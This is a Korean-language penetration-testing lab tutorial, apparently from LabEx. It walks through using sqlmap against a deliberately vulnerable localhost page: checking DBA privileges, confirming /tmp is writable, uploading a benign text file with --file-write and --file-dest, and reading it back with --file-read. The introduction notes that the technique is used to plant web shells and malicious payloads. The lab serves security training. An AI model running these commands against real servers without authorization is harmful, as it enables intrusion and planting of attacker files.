소개
이 랩에서는 sqlmap의 강력한 기능인 로컬 파일을 원격 서버에 쓰는 기능을 탐색합니다. 이 기능은 침투 테스트 시나리오에서 웹 쉘, 설정 파일 또는 기타 악성 페이로드를 손상된 서버에 업로드할 수 있게 해주므로 매우 중요합니다. DBA 권한 확인 및 쓰기 가능한 디렉토리 식별과 같은 필요한 사전 요구 사항을 다룬 다음, 로컬에서 파일을 생성하고, sqlmap을 사용하여 업로드하고, 마지막으로 서버에서의 존재를 확인하는 과정을 안내합니다.
DBA 권한 및 디렉토리 쓰기 권한 확인
이 단계에서는 sqlmap을 사용하여 현재 데이터베이스 사용자가 DBA(데이터베이스 관리자) 권한을 가지고 있는지 확인하고 서버에서 쓰기 가능한 디렉토리를 식별합니다. DBA 권한은 파일 쓰기에 종종 필수적이며, 쓰기 가능한 디렉토리를 아는 것은 업로드할 파일의 대상을 선택하는 데 중요합니다.
먼저 DBA 권한을 확인해 보겠습니다. sqlmap은 파일 시스템 작업을 수행하기 위해 높은 권한을 요구하는 경우가 많으므로 이는 매우 중요합니다.
sqlmap -u "http://localhost/vulnerable/index.php?id=1" --is-dba
사용자가 DBA 인지 여부를 나타내는 출력을 보게 될 것입니다. [INFO] the back-end DBMS user is a DBA와 유사한 줄을 찾으십시오.
다음으로 서버에서 쓰기 가능한 디렉토리를 찾아야 합니다. sqlmap은 일반적인 쓰기 가능한 경로를 식별하여 이를 도울 수 있습니다. 더미 파일과 /tmp와 같은 일반적인 쓰기 가능한 디렉토리를 사용하여 --file-write 옵션을 테스트할 것입니다. 아직 실제로 파일을 쓰고 있는 것은 아니지만, 이 명령은 쓰기 기능을 확인하는 데 도움이 될 수 있습니다.
sqlmap -u "http://localhost/vulnerable/index.php?id=1" --file-write=/dev/null --file-dest=/tmp/test_write.txt --batch
--batch 플래그는 sqlmap에 질문에 대한 기본 답변을 사용하도록 지시하며, 이는 자동화에 유용합니다. 권한 관련 오류 없이 명령이 실행되면 /tmp가 쓰기 가능하다는 것을 시사합니다.
--is-dba에 대한 예상 출력:
...
[INFO] checking if the back-end DBMS user is a DBA
[INFO] the back-end DBMS user is a DBA
...
쓰기 권한 테스트에 대한 예상 출력 (다를 수 있지만 성공 메시지 또는 권한 오류 없음 여부를 확인하십시오):
...
[INFO] the file '/tmp/test_write.txt' has been successfully written on the back-end DBMS file system
...
업로드할 로컬 파일 생성 (예: upload.txt)
이 단계에서는 대상 서버에 업로드하려는 간단한 텍스트 파일을 로컬 머신 (LabEx 환경) 에 생성합니다. 이 파일에는 어떤 내용이든 포함될 수 있지만, 이 랩에서는 프로세스를 시연하기 위해 기본적인 텍스트 파일을 생성할 것입니다.
이 랩 환경의 기본 작업 디렉토리인 홈 디렉토리의 project 폴더로 이동합니다.
cd ~/project
이제 echo 명령과 리디렉션을 사용하여 일부 내용이 포함된 upload.txt라는 파일을 생성합니다.
echo "This file was uploaded from the LabEx environment!" > upload.txt
cat을 사용하여 파일 내용을 확인할 수 있습니다.
cat upload.txt
예상 출력:
This file was uploaded from the LabEx environment!
소스 및 대상 지정을 위한 --file-write 및 --file-dest 사용
이 단계에서는 파일 쓰기에 사용되는 sqlmap 옵션인 --file-write와 --file-dest에 대해 알아봅니다.
--file-write: 이 옵션은 업로드하려는 파일의 로컬 경로를 지정합니다.sqlmap은 이 파일의 내용을 읽습니다.--file-dest: 이 옵션은sqlmap이 파일을 써야 하는 원격 서버의 절대 경로를 지정합니다. 데이터베이스 사용자가 쓰기 권한을 가진 디렉토리에 대한 경로를 제공하는 것이 중요합니다. 이전 단계를 기반으로/tmp/가 좋은 후보입니다.
이러한 옵션을 사용하여 sqlmap 명령을 준비하겠지만, 다음 단계까지는 실행하지 않을 것입니다. 이를 통해 먼저 명령 구조를 이해할 수 있습니다.
명령은 다음과 같습니다.
sqlmap -u "http://localhost/vulnerable/index.php?id=1" --file-write="/home/labex/project/upload.txt" --file-dest="/tmp/uploaded_file.txt" --batch
명령을 분석해 보겠습니다.
-u "http://localhost/vulnerable/index.php?id=1": SQL 주입 취약점이 있는 대상 URL 입니다.--file-write="/home/labex/project/upload.txt": 이전 단계에서 생성한 로컬 파일의 전체 경로입니다.~/project가/home/labex/project로 확장된다는 점을 기억하십시오.--file-dest="/tmp/uploaded_file.txt": 원격 서버에 파일이 쓰여질 전체 경로입니다. 대상 디렉토리로/tmp/를 사용하고 업로드된 파일의 이름을uploaded_file.txt로 지정합니다.--batch: 프로세스를 자동화하고 기본 선택 항목을 수락합니다.
잠시 시간을 내어 명령을 검토하고 경로가 올바른지 확인하십시오.
쓰기 가능한 디렉토리로 파일을 업로드하는 명령 실행
이 단계에서는 이전 단계에서 준비한 sqlmap 명령을 실행하여 로컬 머신의 upload.txt를 대상 서버의 /tmp/ 디렉토리로 업로드하고 이름을 uploaded_file.txt로 지정합니다.
sqlmap 명령을 실행합니다.
sqlmap -u "http://localhost/vulnerable/index.php?id=1" --file-write="/home/labex/project/upload.txt" --file-dest="/tmp/uploaded_file.txt" --batch
이제 sqlmap이 파일을 쓰려고 시도합니다. sqlmap이 파일을 업로드하기 위해 다양한 기술을 시도하는 동안 진행 상황을 관찰해야 합니다. 성공하면 sqlmap은 파일이 작성되었다고 보고합니다.
예상 출력 (성공 메시지를 찾으십시오):
...
[INFO] the file '/tmp/uploaded_file.txt' has been successfully written on the back-end DBMS file system
...
이 메시지는 sqlmap이 서버의 지정된 대상으로 파일을 성공적으로 작성했다고 믿고 있음을 확인합니다.
--file-read 명령을 사용하여 업로드 성공 확인
이 마지막 단계에서는 파일이 실제로 서버에 업로드되었는지, 그리고 내용이 올바른지 확인할 것입니다. 이를 위해 원격 서버에서 파일을 읽을 수 있는 sqlmap의 --file-read 옵션을 사용할 수 있습니다.
서버에 방금 업로드한 파일의 경로를 지정하여 --file-read 옵션을 사용합니다.
sqlmap -u "http://localhost/vulnerable/index.php?id=1" --file-read="/tmp/uploaded_file.txt" --batch
sqlmap이 파일을 읽고 터미널에 내용을 표시하려고 시도합니다.
예상 출력:
...
[INFO] retrieved file content:
This file was uploaded from the LabEx environment!
...
"This file was uploaded from the LabEx environment!"라는 내용을 보면 파일이 성공적으로 업로드되었고 서버에서 읽을 수 있음을 의미합니다. 이는 sqlmap을 사용하여 로컬 파일을 서버에 쓰는 전체 프로세스를 확인합니다.
요약
이 실습에서는 sqlmap의 파일 쓰기 기능을 활용하는 방법을 성공적으로 배웠습니다. 대상 서버에서 DBA 권한을 확인하고 쓰기 가능한 디렉토리를 식별하는 것부터 시작했습니다. 그런 다음 로컬 파일을 생성하고 --file-write 및 --file-dest 옵션과 함께 sqlmap을 사용하여 서버에 업로드했습니다. 마지막으로 --file-read 옵션을 사용하여 서버에서 파일 내용을 읽음으로써 업로드 성공을 확인했습니다. 이 기술은 다양한 후속 공격 활동을 위한 침투 테스트에서 기본적입니다.


